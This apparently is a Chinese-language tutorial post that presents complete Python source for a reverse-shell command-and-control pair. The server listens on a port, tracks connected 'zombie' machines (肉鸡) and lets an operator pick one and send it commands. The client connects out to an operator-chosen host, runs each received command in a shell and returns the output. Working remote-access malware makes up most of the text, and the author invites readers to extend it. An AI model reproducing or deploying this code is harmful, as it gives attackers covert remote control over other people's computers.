Server(控制端)
控制端需要实现等待被控端连接、给被控端发送Shell命令,并且可以选择和切换当前要接收Shell命令的肉鸡(被控端)。所以,首先我们需要创建一个socket对象,并监听7676端口,代码如下:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建一个Tcp Socket
s.bind(('0.0.0.0',7676)) #绑定7676端口,并与允许来自任意地址的连接
s.listen(1024) #开始监听端口
这里我只说一下创建socket对象时两个参数的含义,socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议,也就是说创建了一个基于IPv4协议的Tcp Server。 接下来当有肉鸡连接的时候我们需要获取肉机的socket,并记录起来,以便和肉鸡进行通信。
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print('Waiting for the connection......')
sock, addr = sk.accept()
print('New client %s is connection!' % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
完整server代码如下
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import threading
clientList = [] #连接的客户端列表
curClient = None #当前的客户端
quitThread = False #是否退出线程
lock = threading.Lock()
def shell_ctrl(socket,addr):
while True:
com = input(str(addr[0]) + ':~#')
if com == '!ch':
select_client()
return
if com == '!q':
quitThread = True
print('-----------------------* Connection has ended *--------------------------')
exit(0)
socket.send(com.encode('utf-8'))
data = socket.recv(1024)
print(data.decode('utf-8'))
def select_client():
global clientList
global curClient
print('--------------* The current is connected to the client: *----------------')
for i in range(len(clientList)):
print('[%i]-> %s' % (i, str(clientList[i][1][0])))
print('Please select a client!')
while True:
num = input('client num:')
if int(num) >= len(clientList):
print('Please input a correct num!')
continue
else:
break
curClient = clientList[int(num)]
print('=' * 80)
print(' ' * 20 + 'Client Shell from addr:', curClient[1][0])
print('=' * 80)
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print('Waiting for the connection......')
sock, addr = sk.accept()
print('New client %s is connection!' % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',7676))
s.listen(1024)
t = threading.Thread(target=wait_connect,args=(s,))
t.start()
while True:
if len(clientList) > 0:
select_client() # 选择一个客户端
shell_ctrl(curClient[0],curClient[1]) #处理shell命令
if __name__ == '__main__':
main()
这里有一点需要注意一下,对接收和发送统一都用utf-8进行编码和解码,同样在客户端中也采用同样的编码才会保证接收和发送的结果正确。至于发送命令这部分主要就是等待用户输入命令然后判断是不是切换肉鸡或者是退出命令,如果不是就把命令发送给客户端。
Client(被控端)
被控端需要实现连接到控制端、执行控制端发送过来的命令并将执行命令后的结果发送给控制端。与控制端相比被控端要简单的多,代码如下:
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket对象
sock.connect((ht,int(pt))) #主机的指定端口
while True:
data = sock.recv(1024) #接收命令
data = data.decode('utf-8') #对命令解码
#执行命令
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
#获取命令执行结果
m_stdout, m_stderr = comRst.communicate()
#将执行命令结果编码后发送给控制端
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
time.sleep(1)
sock.close()
这个函数的核心其实就是subprocess.Popen()这个函数,subprocess.Popen()可以实现在一个新的进程中启动一个子程序,第一个参数就是子程序的名字,shell=True则是说明程序在Shell中执行。至于stdout、stderr、stdin的值都是subprocess.PIPE,则表示用管道的形式与子进程交互。还有一个需要注意的地方就是在给控制端发送命令执行结果的时候,这里先将结果用本地系统编码的方式进行解码,然后又用utf-8进行编码,以避免被控端编码不是utf-8时,控制端接收到的结果显示乱码。
完整client代码如下
import socket
import subprocess
import argparse
import sys
import time
import threading
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ht,int(pt)))
while True:
data = sock.recv(1024)
data = data.decode('utf-8')
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
m_stdout, m_stderr = comRst.communicate()
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
time.sleep(1)
sock.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-H',dest='hostName',help='Host Name')
parser.add_argument('-p',dest='conPort',help='Host Port')
args = parser.parse_args() #解析命令行参数
host = args.hostName
port = args.conPort
if host == None and port == None:
print(parser.parse_args(['-h']))
exit(0)
connectHost(host,port) #连接到控制端
if __name__ == '__main__':
main()
至此整个反向shellC/S架构就大概完成了,可以简单测试下,
成功拿到shell,当然这是反向shell的核心部分而已,大家可以自行扩展
如有错误或者不足之处,请各位师傅不吝赐教~